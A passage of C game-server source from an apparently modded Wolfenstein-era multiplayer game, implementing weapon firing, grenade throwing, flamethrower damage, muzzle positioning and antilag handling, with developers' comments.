tent->s.otherEntityNum2 = ENTITYNUM_NONE;
}
// done.
}
tent->s.otherEntityNum = attacker->s.number;
if ( traceEnt->takedamage) {
qboolean reflectBool=qfalse;
vec3_t trDir;
if (traceEnt->flags & FL_DEFENSE_GUARD) {
// if we are facing the direction the bullet came from, then reflect it
AngleVectors( traceEnt->s.apos.trBase, trDir, NULL, NULL );
if (DotProduct(forward, trDir) < 0.6) {
reflectBool = qtrue;
}
}
if (reflectBool) {
vec3_t reflect_end;
// reflect this bullet
G_AddEvent( traceEnt, EV_GENERAL_SOUND, level.bulletRicochetSound );
CalcMuzzlePoints( traceEnt, traceEnt->s.weapon );
//----(SA) modified to use extended version so attacker would pass through
// Bullet_Fire( traceEnt, 1000, damage );
Bullet_Endpos(traceEnt, spread, &reflect_end);
Bullet_Fire_Extended(traceEnt, attacker, muzzleTrace, reflect_end, spread, damage);
//----(SA) end
} else {
// Ridah, don't hurt team-mates
// DHM - Nerve :: Only in single player
// if (attacker->client && traceEnt->client && g_gametype.integer == GT_SINGLE_PLAYER && (traceEnt->r.svFlags & SVF_CASTAI) && (attacker->r.svFlags & SVF_CASTAI) && AICast_SameTeam( AICast_GetCastState( attacker->s.number ), traceEnt->s.number )) {
// AI's don't hurt members of their own team
// return;
// }
// done.
G_Damage( traceEnt, attacker, attacker, forward, tr.endpos, damage, 0, ammoTable[attacker->s.weapon].mod);
// allow bullets to "pass through" func_explosives if they break by taking another simultanious shot
if(Q_stricmp(traceEnt->classname, "func_explosive") == 0) {
if(traceEnt->health <= damage) {
// start new bullet at position this hit the bmodel and continue to the end position (ignoring shot-through bmodel in next trace)
// spread = 0 as this is an extension of an already spread shot
Bullet_Fire_Extended(traceEnt, attacker, tr.endpos, end, 0, damage);
}
}
}
}
//ANTILAG - move the clients back to their proper positions
untimeshift:
if ( g_antilag.integer && attacker->client &&
!(attacker->r.svFlags & SVF_BOT) ) {
G_UnTimeShiftAllClients( attacker );
}
}
/*
======================================================================
GRENADE LAUNCHER
700 has been the standard direction multiplier in fire_grenade()
======================================================================
*/
extern void G_ExplodeMissilePoisonGas (gentity_t *ent);
gentity_t *weapon_grenadelauncher_fire (gentity_t *ent, int grenType) {
gentity_t *m, *te; // JPW NERVE
trace_t tr;
vec3_t viewpos;
float upangle = 0, pitch; // start with level throwing and adjust based on angle
vec3_t tosspos;
qboolean underhand = qtrue;
pitch = ent->s.apos.trBase[0];
// JPW NERVE -- smoke grenades always overhand
if( pitch >= 0 ) {
forward[2] += 0.5f;
// Used later in underhand boost
pitch = 1.3f;
}
else {
pitch = -pitch;
pitch = min( pitch, 30 );
pitch /= 30.f;
pitch = 1 - pitch;
forward[2] += (pitch * 0.5f);
// Used later in underhand boost
pitch *= 0.3f;
pitch += 1.f;
}
VectorNormalizeFast( forward ); // make sure forward is normalized
upangle = -(ent->s.apos.trBase[0]); // this will give between -90 / 90
upangle = min(upangle, 50);
upangle = max(upangle, -50); // now clamped to -50 / 50 (don't allow firing straight up/down)
upangle = upangle/100.0f; // -0.5 / 0.5
upangle += 0.5f; // 0.0 / 1.0
if(upangle < .1)
upangle = .1;
// pineapples are not thrown as far as mashers
if(grenType == WP_GRENADE_LAUNCHER)
upangle *= 900;
else if(grenType == WP_GRENADE_PINEAPPLE)
upangle *= 900;
else if (grenType == WP_SMOKE_GRENADE)
upangle *= 900;
else // WP_DYNAMITE
upangle *= 400;
VectorCopy(muzzleEffect, tosspos);
if(underhand) {
// move a little bit more away from the player (so underhand tosses don't get caught on nearby lips)
VectorMA(muzzleEffect, 8, forward, tosspos);
tosspos[2] -= 8; // lower origin for the underhand throw
upangle *= pitch;
SnapVector( tosspos );
}
VectorScale(forward, upangle, forward);
// check for valid start spot (so you don't throw through or get stuck in a wall)
VectorCopy( ent->s.pos.trBase, viewpos );
viewpos[2] += ent->client->ps.viewheight;
if ( grenType == WP_DYNAMITE )
trap_Trace (&tr, viewpos, tv(-12.f, -12.f, 0.f), tv(12.f, 12.f, 20.f), tosspos, ent->s.number, MASK_MISSILESHOT);
else
trap_Trace (&tr, viewpos, tv(-4.f, -4.f, 0.f), tv(4.f, 4.f, 6.f), tosspos, ent->s.number, MASK_MISSILESHOT);
if(tr.fraction < 1) { // oops, bad launch spot
VectorCopy(tr.endpos, tosspos);
SnapVectorTowards( tosspos, viewpos );
}
m = fire_grenade (ent, tosspos, forward, grenType);
m->damage = 0; // Ridah, grenade's don't explode on contact
m->splashDamage *= s_quadFactor;
// JPW NERVE
if (grenType == WP_SMOKE_GRENADE) {
if (ent->client->sess.sessionTeam == TEAM_RED) //store team so we can generate red or blue smoke
m->s.otherEntityNum2 = 1;
else
m->s.otherEntityNum2 = 0;
if(g_SniperMode.integer){
m->s.eFlags |= EF_SMOKINGBLACK;
m->nextthink = level.time + 1000;
m->s.eFlags |= EF_SMOKINGBLACK;
m->s.loopSound = G_SoundIndex("sound/world/steam.wav");
m->nextthink = level.time + ((g_smokeGrenades.integer - 1) * 1000);
m->think = G_ExplodeMissile;
}else{
if (ent->client->ps.throwSmoke){
m->nextthink = level.time + 1000;
m->s.eFlags |= EF_SMOKINGBLACK;
m->s.loopSound = G_SoundIndex("sound/world/steam.wav");
m->nextthink = level.time + ((g_smokeGrenades.integer - 1) * 1000);
m->think = G_ExplodeMissile;
ent->client->ps.throwSmoke = qfalse;
}else{
if (!g_theTrenchesMode.integer){
m->nextthink = level.time + 4000;
m->count2=ent->count3;
ent->count3=0;
m->think = weapon_callAirStrike;
}else{ //Trenches mode \/
m->s.eFlags |= EF_SMOKINGBLACK;//Always smokes black
m->nextthink = level.time + 5000; //m->nextthink = level.time + 3000+(random() *1000) (sandmann)
m->think = weapon_callAirStrike; //Martin-maybe want a weapon_Gas?
}
te = G_TempEntity( m->s.pos.trBase, EV_GLOBAL_SOUND );
te->s.eventParm = G_SoundIndex( "sound/multiplayer/airstrike_01.wav");
te->r.svFlags |= SVF_BROADCAST | SVF_USE_CURRENT_ORIGIN;
}
}
}
// jpw
//----(SA) adjust for movement of character. TODO: Probably comment in later, but only for forward/back not strafing
//VectorAdd( m->s.pos.trDelta, ent->client->ps.velocity, m->s.pos.trDelta ); // "real" physics
// let the AI know which grenade it has fired
ent->grenadeFired = m->s.number;
// Ridah, return the grenade so we can do some prediction before deciding if we really want to throw it or not
return m;
}
//----(SA) modified this entire "venom" section
/*
============================================================================
VENOM GUN TRACING
============================================================================
*/
#define DEFAULT_VENOM_COUNT 10
#define DEFAULT_VENOM_SPREAD 20
#define DEFAULT_VENOM_DAMAGE 15
qboolean VenomPellet( vec3_t start, vec3_t end, gentity_t *ent ) {
trace_t tr;
int damage;
gentity_t *traceEnt;
trap_Trace (&tr, start, NULL, NULL, end, ent->s.number, MASK_SHOT);
traceEnt = &g_entities[ tr.entityNum ];
// send bullet impact
if ( tr.surfaceFlags & SURF_NOIMPACT ) {
return qfalse;
}
if ( traceEnt->takedamage) {
damage = DEFAULT_VENOM_DAMAGE * s_quadFactor;
G_Damage( traceEnt, ent, ent, forward, tr.endpos, damage, 0, MOD_VENOM);
if( LogAccuracyHit( traceEnt, ent ) ) {
return qtrue;
}
}
return qfalse;
}
// this should match CG_VenomPattern
void VenomPattern( vec3_t origin, vec3_t origin2, int seed, gentity_t *ent ) {
int i;
float r, u;
vec3_t end;
vec3_t forward, right, up;
int oldScore;
qboolean hitClient = qfalse;
// derive the right and up vectors from the forward vector, because
// the client won't have any other information
VectorNormalize2( origin2, forward );
PerpendicularVector( right, forward );
CrossProduct( forward, right, up );
oldScore = ent->client->ps.persistant[PERS_SCORE];
//NT - shift other clients back to the client's idea of the server
// ANTILAG time to compensate for lag
if ( g_antilag.integer && ent->client &&
!(ent->r.svFlags & SVF_BOT) ) {
G_TimeShiftAllClients( ent->client->pers.cmd.serverTime, ent );
}
// generate the "random" spread pattern
for ( i = 0 ; i < DEFAULT_VENOM_COUNT ; i++ ) {
r = Q_crandom( &seed ) * DEFAULT_VENOM_SPREAD;
u = Q_crandom( &seed ) * DEFAULT_VENOM_SPREAD;
VectorMA( origin, 8192, forward, end);
VectorMA (end, r, right, end);
VectorMA (end, u, up, end);
if( VenomPellet( origin, end, ent ) && !hitClient ) {
hitClient = qtrue;
ent->client->ps.persistant[PERS_ACCURACY_HITS]++;
}
}
//ANTILAG - move the clients back to their proper positions
if ( g_antilag.integer && ent->client &&
!(ent->r.svFlags & SVF_BOT) ) {
G_UnTimeShiftAllClients( ent );
}
}
/*
======================================================================
NAILGUN
======================================================================
*/
void Weapon_Nailgun_Fire (gentity_t *ent) {
gentity_t *m;
int count;
for( count = 0; count < NUM_NAILSHOTS; count++ ) {
// m = fire_nail (ent, muzzle, forward, right, up );
m = fire_nail (ent, muzzleEffect, forward, right, up );
m->damage *= s_quadFactor;
m->splashDamage *= s_quadFactor;
}
// VectorAdd( m->s.pos.trDelta, ent->client->ps.velocity, m->s.pos.trDelta ); // "real" physics
}
/*
======================================================================
PROXIMITY MINE LAUNCHER
======================================================================
*/
void weapon_proxlauncher_fire (gentity_t *ent) {
gentity_t *m;
// extra vertical velocity
forward[2] += 0.2f;
VectorNormalize( forward );
m = fire_prox (ent, muzzleTrace, forward);
m->damage *= s_quadFactor;
m->splashDamage *= s_quadFactor;
// VectorAdd( m->s.pos.trDelta, ent->client->ps.velocity, m->s.pos.trDelta ); // "real" physics
}
/*
==============
weapon_venom_fire
==============
*/
void weapon_venom_fire (gentity_t *ent, qboolean fullmode, float aimSpreadScale) {
gentity_t *tent;
if(fullmode)
tent = G_TempEntity( muzzleTrace, EV_VENOMFULL );
else
tent = G_TempEntity( muzzleTrace, EV_VENOM );
VectorScale( forward, 4096, tent->s.origin2 );
SnapVector( tent->s.origin2 );
tent->s.eventParm = rand() & 255; // seed for spread pattern
tent->s.otherEntityNum = ent->s.number;
if(fullmode)
VenomPattern( tent->s.pos.trBase, tent->s.origin2, tent->s.eventParm, ent );
else
Bullet_Fire( ent, VENOM_SPREAD*aimSpreadScale, VENOM_DAMAGE );
}
/*
======================================================================
ROCKET
======================================================================
*/
void Weapon_RocketLauncher_Fire (gentity_t *ent) {
gentity_t *m;
m = fire_rocket (ent, muzzleEffect, forward);
m->damage *= s_quadFactor;
m->splashDamage *= s_quadFactor;
// VectorAdd( m->s.pos.trDelta, ent->client->ps.velocity, m->s.pos.trDelta ); // "real" physics
}
/*
======================================================================
SPEARGUN
======================================================================
*/
void Weapon_Speargun_Fire (gentity_t *ent) {
gentity_t *m;
m = fire_speargun (ent, muzzleEffect, forward);
m->damage *= s_quadFactor;
}
/*
======================================================================
LIGHTNING GUN
======================================================================
*/
// TTimo - extracted G_FlameDamage to unify with Weapon_FlamethrowerFire usage
// *************************
// Agent - Flamethrower Fix
// *************************
void G_BurnMeGood( gentity_t *self, gentity_t *body){
// add the new damage
body->flameQuota += 5;
body->flameQuotaTime = level.time;
// JPW NERVE -- yet another flamethrower damage model, trying to find a feels-good damage combo that isn't overpowered
/* if (body->lastBurnedFrameNumber != level.framenum) {
G_Damage(body,self->parent,self->parent,vec3_origin,self->r.currentOrigin,5,0,MOD_FLAMETHROWER); // was 2 dmg in release ver, hit avg. 2.5 times per frame
body->lastBurnedFrameNumber = level.framenum;
}*/
// jpw
// Martin - Fixed Flamethrower
// 6/20/08 - burns faster, but less dmg :)
if (level.time - body->lastBurnedFrameNumber >= 1) { //12/21/08 - Martin - This now checks to see if its not the same frame then burns
G_Damage(body, self->parent, self->parent, vec3_origin, self->r.currentOrigin, 3, 0, MOD_FLAMETHROWER); // Martin 12/21/08 - Was 1 dmg, now 3 for faster cooking
body->lastBurnedFrameNumber = level.time;
// trap_SendServerCommand(-1, va("chat \"%s^7[%i] is being cooked by %s^7[%i]\n\"",
// body->client->pers.netname, body->client->ps.stats[STAT_HEALTH], self->parent->client->pers.netname, self->parent->client->ps.stats[STAT_HEALTH]));
}// end martin
// make em burn
if (body->client && (body->health <= 0 || body->flameQuota > 0)) { // JPW NERVE was > FLAME_THRESHOLD
if (body->s.onFireEnd < level.time)
body->s.onFireStart = level.time;
body->s.onFireEnd = level.time + FIRE_FLASH_TIME;
body->flameBurnEnt = self->s.number;
// add to playerState for client-side effect
body->client->ps.onFireStart = level.time;
}
}
// those are used in the cg_ traces calls
static vec3_t flameChunkMins = {-4, -4, -4};
static vec3_t flameChunkMaxs = { 4, 4, 4};
#define SQR_SIN_T 0.44 // ~ sqr(sin(20))
// RF, not used anymore for Flamethrower (still need it for tesla?)
void Weapon_FlamethrowerFire( gentity_t *ent ) {
//Old Flamer Code
/*gentity_t *traceEnt;
vec3_t start;
VectorCopy( ent->r.currentOrigin, start );
start[2] += ent->client->ps.viewheight;
VectorMA( start, -8, forward, start );
VectorMA( start, 10, right, start );
VectorMA( start, -6, up, start );
traceEnt = fire_flamechunk ( ent, start, forward );*/
//begin 1.4 code dump
//Flamethrower Fix
gentity_t *traceEnt;
vec3_t start;
vec3_t trace_start;
vec3_t trace_end;
trace_t trace;
VectorCopy( ent->r.currentOrigin, start );
start[2] += ent->client->ps.viewheight;
VectorCopy( start, trace_start );
VectorMA( start, -8, forward, start );
VectorMA( start, 10, right, start );
VectorMA( start, -6, up, start );
// prevent flame thrower cheat, run & fire while aiming at the ground, don't get hurt
// 72 total box height, 18 xy -> 77 trace radius (from view point towards the ground) is enough to cover the area around the feet
VectorMA( trace_start, 77.0, forward, trace_end);
trap_Trace( &trace, trace_start, flameChunkMins, flameChunkMaxs, trace_end, ent->s.number, MASK_SHOT | MASK_WATER );
if (trace.fraction != 1.0)
{
// additional checks to filter out false positives
if (trace.endpos[2] > (ent->r.currentOrigin[2]+ent->r.mins[2]-8) && trace.endpos[2] < ent->r.currentOrigin[2])
{
// trigger in a 21 radius around origin
trace_start[0] -= trace.endpos[0];
trace_start[1] -= trace.endpos[1];
if (trace_start[0]*trace_start[0]+trace_start[1]*trace_start[1] < 441)
{
// set self in flames
G_BurnMeGood( ent, ent );
}
}
}
traceEnt = fire_flamechunk ( ent, start, forward );
}
//======================================================================
/*
==============
AddLean
add leaning offset
==============
*/
void AddLean(gentity_t *ent, vec3_t point)
{
if(ent->client)
{
if(ent->client->ps.leanf)
{
vec3_t right;
AngleVectors(ent->client->ps.viewangles, NULL, right, NULL);
VectorMA(point, ent->client->ps.leanf, right, point);
}
}
}
/*
===============
LogAccuracyHit
===============
*/
qboolean LogAccuracyHit( gentity_t *target, gentity_t *attacker ) {
if( !target->takedamage ) {
return qfalse;
}
if ( target == attacker ) {
return qfalse;
}
if( !target->client ) {
return qfalse;
}
if( !attacker->client ) {
return qfalse;
}
// MHC - if we are going to count gibs as 'hits', we should also count them as shots...
/* if( target->client->ps.stats[STAT_HEALTH] <= 0 ) {
return qfalse;
}*/
if ( OnSameTeam( target, attacker ) ) {
return qfalse;
}
return qtrue;
}
/*
===============
CalcMuzzlePoint
set muzzle location relative to pivoting eye
===============
*/
void CalcMuzzlePoint ( gentity_t *ent, int weapon, vec3_t forward, vec3_t right, vec3_t up, vec3_t muzzlePoint ) {
VectorCopy( ent->r.currentOrigin, muzzlePoint );
muzzlePoint[2] += ent->client->ps.viewheight;
// Ridah, this puts the start point outside the bounding box, isn't necessary
// VectorMA( muzzlePoint, 14, forward, muzzlePoint );
// done.
// Ridah, offset for more realistic firing from actual gun position
//----(SA) modified
switch(weapon) // Ridah, changed this so I can predict weapons
{
case WP_PANZERFAUST:
if (g_gametype.integer == GT_SINGLE_PLAYER) { // JPW NERVE
VectorMA( muzzlePoint, 14, right, muzzlePoint ); //----(SA) new first person rl position
VectorMA( muzzlePoint, -10, up, muzzlePoint );
}
// JPW NERVE -- pfaust shoots into walls too much so we moved it to shoulder mount
else {
VectorMA(muzzlePoint,10,right,muzzlePoint);
// VectorMA(muzzlePoint,10,up,muzzlePoint);
}
// jpw
break;
case WP_ROCKET_LAUNCHER:
// VectorMA( muzzlePoint, 20, right, muzzlePoint );
// Rafael: note to Sherman had to move this in so that it wouldnt
// spawn into a wall and detonate
// VectorMA( muzzlePoint, 16, right, muzzlePoint );
VectorMA( muzzlePoint, 14, right, muzzlePoint ); //----(SA) new first person rl position
break;
case WP_DYNAMITE:
case WP_DYNAMITE2:
case WP_GRENADE_PINEAPPLE:
case WP_GRENADE_LAUNCHER:
VectorMA( muzzlePoint, 20, right, muzzlePoint );
break;
default:
VectorMA( muzzlePoint, 6, right, muzzlePoint );
VectorMA( muzzlePoint, -4, up, muzzlePoint );
break;
}
// done.
// (SA) actually, this is sort of moot right now since
// you're not allowed to fire when leaning. Leave in
// in case we decide to enable some lean-firing.
// (SA) works with gl now
//AddLean(ent, muzzlePoint);
// snap to integer coordinates for more efficient network bandwidth usage
SnapVector( muzzlePoint );
}
// Rafael - for activate
void CalcMuzzlePointForActivate ( gentity_t *ent, vec3_t forward, vec3_t right, vec3_t up, vec3_t muzzlePoint ) {
VectorCopy( ent->s.pos.trBase, muzzlePoint );
muzzlePoint[2] += ent->client->ps.viewheight;
AddLean(ent, muzzlePoint);
// snap to integer coordinates for more efficient network bandwidth usage
SnapVector( muzzlePoint );
}
// done.
// Ridah
void CalcMuzzlePoints(gentity_t *ent, int weapon) {
vec3_t viewang;
VectorCopy(ent->client->ps.viewangles, viewang);
#ifdef OMNIBOT
if (!(ent->r.svFlags & SVF_CASTAI) && !(ent->r.svFlags & SVF_BOT)) {
#else
if (!(ent->r.svFlags & SVF_CASTAI)) { // non ai's take into account scoped weapon 'sway' (just another way aimspread is visualized/utilized)
#endif
float spreadfrac, phase;
if(weapon == WP_SNIPERRIFLE || weapon == WP_SNOOPERSCOPE) {
spreadfrac = ent->client->currentAimSpreadScale;
// rotate 'forward' vector by the sway
phase = level.time / 1000.0 * ZOOM_PITCH_FREQUENCY * M_PI * 2;
viewang[PITCH] += ZOOM_PITCH_AMPLITUDE * sin( phase ) * (spreadfrac+ZOOM_PITCH_MIN_AMPLITUDE);
phase = level.time / 1000.0 * ZOOM_YAW_FREQUENCY * M_PI * 2;
viewang[YAW] += ZOOM_YAW_AMPLITUDE * sin( phase ) * (spreadfrac+ZOOM_YAW_MIN_AMPLITUDE);
}
}
// set aiming directions
AngleVectors (viewang, forward, right, up);
//----(SA) modified the muzzle stuff so that weapons that need to fire down a perfect trace
// straight out of the camera (SP5, Mauser right now) can have that accuracy, but
// weapons that need an offset effect (bazooka/grenade/etc.) can still look like
// they came out of the weap.
CalcMuzzlePointForActivate( ent, forward, right, up, muzzleTrace );
CalcMuzzlePoint ( ent, weapon, forward, right, up, muzzleEffect );
}
/*
===============
FireWeapon
===============
*/
void FireWeapon( gentity_t *ent ) {
float aimSpreadScale;
vec3_t viewang; // JPW NERVE
vec3_t angles;
#ifdef OMNIBOT
gentity_t *pFiredShot = 0; // tell bots about projectiles
qboolean callEvent = qtrue; // some are called elsewhere so we can get the projectile
#endif
// <NAME>
if (ent->client->ps.persistant[PERS_HWEAPON_USE] && ent->active)
return;
if (ent->client->ps.powerups[PW_QUAD] ) {
s_quadFactor = g_quadfactor.value;
} else {
s_quadFactor = 1;
}
// Ridah, need to call this for AI prediction also
CalcMuzzlePoints(ent, ent->s.weapon);
if (g_userAim.integer) {
aimSpreadScale = ent->client->currentAimSpreadScale;
// Ridah, add accuracy factor for AI
if (ent->aiCharacter) {
float aim_accuracy;
aim_accuracy =0;// AICast_GetAccuracy(ent->s.number);
if (aim_accuracy <= 0) aim_accuracy = 0.0001;
aimSpreadScale = (1.0 - aim_accuracy) * 2.0;
}
else {
aimSpreadScale+= 0.15f; // (SA) just adding a temp /maximum/ accuracy for player (this will be re-visited in greater detail :)
if(aimSpreadScale > 1)
aimSpreadScale = 1.0f; // still cap at 1.0
}
} else {
aimSpreadScale = 1.0;
}
// JPW NERVE -- EARLY OUT: if I'm in multiplayer and I have binocs, try to use artillery and then early return b4 switch statement
if (g_gametype.integer != GT_SINGLE_PLAYER){
if ((ent->client->ps.eFlags & EF_ZOOMING) && (ent->client->ps.stats[STAT_KEYS] & (1 << INV_BINOCS)) &&
(ent->s.weapon != WP_SNIPERRIFLE) ) {
if ( !(ent->client->ps.leanf) ){
if(g_SniperMode.integer){
SM_Weapon_Artillery(ent);
}else{
Weapon_Artillery(ent);
}
}
return;
}
}
// jpw
// JPW NERVE -- if jumping, make aim bite ass
if (g_gametype.integer != GT_SINGLE_PLAYER)
if (ent->client->ps.groundEntityNum == ENTITYNUM_NONE) {
aimSpreadScale = 2.0f;
}
// jpw
// fire the specific weapon
switch( ent->s.weapon ) {
case WP_KNIFE:
case WP_KNIFE2:
Weapon_Knife( ent );
break;
// NERVE - SMF
case WP_MEDKIT:
#ifdef OMNIBOT
callEvent = qfalse;
#endif
Weapon_Medic(ent);
break;
case WP_PLIERS:
Weapon_Engineer( ent );
break;
case WP_SMOKE_GRENADE:
if (g_smokeGrenades.integer && ent->client->ps.throwSmoke){
if (level.time - ent->client->ps.classWeaponTime >= g_LTChargeTime.integer*0.25f){
if (level.time - ent->client->ps.classWeaponTime > g_LTChargeTime.integer){
ent->client->ps.classWeaponTime = level.time - g_LTChargeTime.integer;
}
ent->client->ps.classWeaponTime += g_LTChargeTime.integer*0.25;
#ifdef OMNIBOT
pFiredShot = weapon_grenadelauncher_fire(ent,WP_SMOKE_GRENADE);
#else
weapon_grenadelauncher_fire(ent, WP_SMOKE_GRENADE);
#endif
}
break;
}
if (level.time - ent->client->ps.classWeaponTime >= g_LTChargeTime.integer*0.5f) {
// AS limit of 1 means 6 / min
// 2 means 4 / min... greatly reduces spam i hope :)
// AS limit of 3 means 3 / min...
if(g_maxAirstrikes.integer >= 0){
if (isAirstrikeAvailable(ent)){
//Airstrike is available
if (level.time - ent->client->ps.classWeaponTime > g_LTChargeTime.integer){
ent->client->ps.classWeaponTime = level.time - g_LTChargeTime.integer;
if(g_ltExtraAirstrike.integer)
ent->count3=1;
// Add stuff so that we actually increment bomb counter :)
if( ent->client->sess.sessionTeam == TEAM_RED ) {
level.axisAirstrikeCounter += (60000 / g_maxAirstrikes.integer);
}
if( ent->client->sess.sessionTeam == TEAM_BLUE ){
level.alliedAirstrikeCounter += (60000 / g_maxAirstrikes.integer);
}
}
ent->client->ps.classWeaponTime = level.time;//+= g_LTChargeTime.integer*0.5f; FIXME later
weapon_grenadelauncher_fire(ent,WP_SMOKE_GRENADE);
break;
// Airstrike is not available
}else{
int cost = 60000 / g_maxAirstrikes.integer;
if( ent->client->sess.sessionTeam == TEAM_BLUE ){
int airAvailable = ((level.alliedAirstrikeCounter + cost) - 60000) / 1000;
trap_SendServerCommand(ent-g_entities, va("chat \"HQ: ^3All available planes are already en-route. Plane available in %i seconds\"", airAvailable));
break;
}
if( ent->client->sess.sessionTeam == TEAM_RED ) {
int airAvailable = ((level.axisAirstrikeCounter + cost) - 60000) / 1000;
trap_SendServerCommand(ent-g_entities, va("chat \"HQ: ^3All available planes are already en-route. Plane available in %i seconds\"", airAvailable));
break;
}
}
}else{ // Limited Airstrikes off, let them have the support
if (level.time - ent->client->ps.classWeaponTime > g_LTChargeTime.integer){
ent->client->ps.classWeaponTime = level.time - g_LTChargeTime.integer;
if(g_ltExtraAirstrike.integer)
ent->count3=1;
}
ent->client->ps.classWeaponTime = level.time;//+= g_LTChargeTime.integer*0.5f; FIXME later
#ifdef OMNIBOT
pFiredShot = weapon_grenadelauncher_fire(ent,WP_SMOKE_GRENADE);
#else
weapon_grenadelauncher_fire(ent, WP_SMOKE_GRENADE);
#endif
break;
}
}
break;
// -NERVE - SMF
case WP_ARTY:
G_Printf("calling artilery\n");
break;
case WP_MEDIC_SYRINGE:
Weapon_Syringe(ent);
break;
case WP_AMMO:
#ifdef OMNIBOT
callEvent = qfalse;
#endif
Weapon_MagicAmmo(ent);
break;
// jpw
case WP_LUGER:
Bullet_Fire( ent, LUGER_SPREAD*aimSpreadScale, LUGER_DAMAGE );
break;
case WP_COLT:
Bullet_Fire( ent, COLT_SPREAD*aimSpreadScale, COLT_DAMAGE );
break;
case WP_VENOM:
weapon_venom_fire(ent, qfalse, aimSpreadScale);
break;
case WP_SNIPERRIFLE:
Bullet_Fire( ent, SNIPER_SPREAD*aimSpreadScale, SNIPER_DAMAGE );
// JPW NERVE -- added muzzle flip in multiplayer
if (g_gametype.integer != GT_SINGLE_PLAYER ){
if(!g_autoSniper.integer){/*
VectorCopy(ent->client->ps.viewangles,viewang);
// viewang[PITCH] -= 6; // handled in clientthink instead //Agent - commented out by nerve
ent->client->sniperRifleMuzzleYaw = crandom()*0.5; // used in clientthink
ent->client->sniperRifleFiredTime = level.time;
SetClientViewAngle(ent,viewang);
*///Agent - Lets try to fuck up clients who are cheating >:(
/* int RndYaw = rand()%5 +1; //1,2,3,4,5,6
if (RndYaw < 4)
RndYaw = RndYaw * -2;
angles[YAW] = ent->client->ps.viewangles[1]-RndYaw;
angles[PITCH] = ent->client->ps.viewangles[0]-15; //Agent - This isnt too bad and cant be exploited (if you got low fps its just laggy, same push up :D
//angles[PITCH] = ent->client->ps.viewangles[0]* crandom()*0.5; //Agent - ROFL if you are looking straight down... kicks you to the moon
//angles[ROLL] = ent->client->ps.viewangles[0]; //They never used this for original kickback :)
angles[ROLL] = 0;*/
int RndYaw = rand()%10 + 1; //1-10
VectorCopy(ent->client->ps.viewangles,viewang);
if (RndYaw > 5)
RndYaw -= 11;
viewang[YAW] = ent->client->ps.viewangles[1] - RndYaw;
viewang[PITCH] -= 10; // MHC - was 15...10 is a bit more fair
SetClientViewAngle(ent, viewang);
// *** Stuff from g_active that ran the old kickback
//muzzlebounce[PITCH] -= 2*cos(2.5*(level.time - client->sniperRifleFiredTime)/RIFLE_SHAKE_TIME);
//muzzlebounce[YAW] += 0.5*client->sniperRifleMuzzleYaw*cos(1.0-(level.time - client->sniperRifleFiredTime)*3/RIFLE_SHAKE_TIME);
//muzzlebounce[PITCH] -= 0.25*random()*(1.0f-(level.time - client->sniperRifleFiredTime)/RIFLE_SHAKE_TIME);
//muzzlebounce[YAW] += 0.5*crandom()*(1.0f-(level.time - client->sniperRifleFiredTime)/RIFLE_SHAKE_TIME);
}else{
//AutoSniper
VectorCopy(ent->client->ps.viewangles,viewang);
viewang[PITCH] -= .5;
SetClientViewAngle(ent,viewang);
}
}
// jpw
break;
case WP_MAUSER:
if (g_gametype.integer != GT_SINGLE_PLAYER)
aimSpreadScale = 1.0;
if(g_deathmatch.integer != 2){
Bullet_Fire( ent, MAUSER_SPREAD*aimSpreadScale, MAUSER_DAMAGE );
}else{//lets make this a shotgun :D
Bullet_Fire( ent, (800 + rand()% 201)*aimSpreadScale, 10 + rand()% 16 );//we want 10-15 damage
Bullet_Fire( ent, (800 + rand()% 201)*aimSpreadScale, 10 + rand()% 16 );//make the spread from 800-1000
Bullet_Fire( ent, (800 + rand()% 201)*aimSpreadScale, 10 + rand()% 16 );
Bullet_Fire( ent, (800 + rand()% 201)*aimSpreadScale, 10 + rand()% 16 );
Bullet_Fire( ent, (800 + rand()% 201)*aimSpreadScale, 10 + rand()% 16 );
Bullet_Fire( ent, (800 + rand()% 201)*aimSpreadScale, 10 + rand()% 16 );
angles[YAW] = ent->client->ps.viewangles[1] ;
angles[PITCH] = ent->client->ps.viewangles[0]-10;
angles[ROLL] = ent->client->ps.viewangles[2];
SetClientViewAngle(ent, angles);
}
break;
case WP_STEN:
Bullet_Fire( ent, STEN_SPREAD*aimSpreadScale, STEN_DAMAGE );
break;
case WP_MP40:
Bullet_Fire( ent, MP40_SPREAD*aimSpreadScale, MP40_DAMAGE );
break;
case WP_THOMPSON:
Bullet_Fire( ent, THOMPSON_SPREAD*aimSpreadScale, THOMPSON_DAMAGE );
break;
case WP_PANZERFAUST:
ent->client->ps.classWeaponTime = level.time; // JPW NERVE
Weapon_RocketLauncher_Fire(ent);
if (ent->client && !(ent->r.svFlags & SVF_CASTAI))
{
if(g_deathmatch.integer == 2 && level.endDeathmatch)
weapon_grenadelauncher_fire(ent,WP_SMOKETRAIL);
if(!level.endDeathmatch){
vec3_t forward;
AngleVectors (ent->client->ps.viewangles, forward, NULL, NULL);
VectorMA (ent->client->ps.velocity, -64, forward, ent->client->ps.velocity);
}
}
break;
case WP_GRENADE_LAUNCHER:
case WP_GRENADE_PINEAPPLE:
case WP_DYNAMITE:
case WP_DYNAMITE2:
if (ent->client->ps.throwMine){
if(countmines(ent->client->sess.sessionTeam) != g_mines.integer){
ent->client->ps.classWeaponTime = level.time;
// trap_SendServerCommand( -1, va("chat \"MINE DEBUG: mines not available(%i)\n\"",level.axisMinesAvailable) );
}
/* if((ent->client->sess.sessionTeam == TEAM_BLUE) && (level.alliedMinesAvailable != 0)){
ent->client->ps.classWeaponTime = level.time;
}
if(ent->client->sess.sessionTeam == TEAM_RED){
level.axisMinesAvailable--;
trap_SendServerCommand( -1, va("chat \"MINE DEBUG: Removed available mine(%i)\n\"",level.axisMinesAvailable) );
}
if(ent->client->sess.sessionTeam == TEAM_BLUE)
level.alliedMinesAvailable--;
*/
}else{
if (ent->s.weapon == WP_DYNAMITE)
ent->client->ps.classWeaponTime = level.time;
}
#ifdef OMNIBOT
pFiredShot = weapon_grenadelauncher_fire( ent, ent->s.weapon );
#else
weapon_grenadelauncher_fire( ent, ent->s.weapon );
#endif
break;
case WP_FLAMETHROWER:
// RF, this is done client-side only now
Weapon_FlamethrowerFire( ent );
break;
case WP_MORTAR:
break;
default:
break;
}
#ifdef OMNIBOT
if(callEvent)
Bot_Event_FireWeapon(ent-g_entities, Bot_WeaponGameToBot(ent->s.weapon), pFiredShot);
#endif
//MHC - moved to calculate for ALL weapons now
ent->client->pers.acc_shots++;
ent->client->pers.life_shots++;
}
<file_sep>////////////////////////////////////////////////////////////////////////////////
//
// $LastChangedBy: crapshoot $
// $LastChangedDate: 2008-12-06 15:22:27 -0800 (Sat, 06 Dec 2008) $
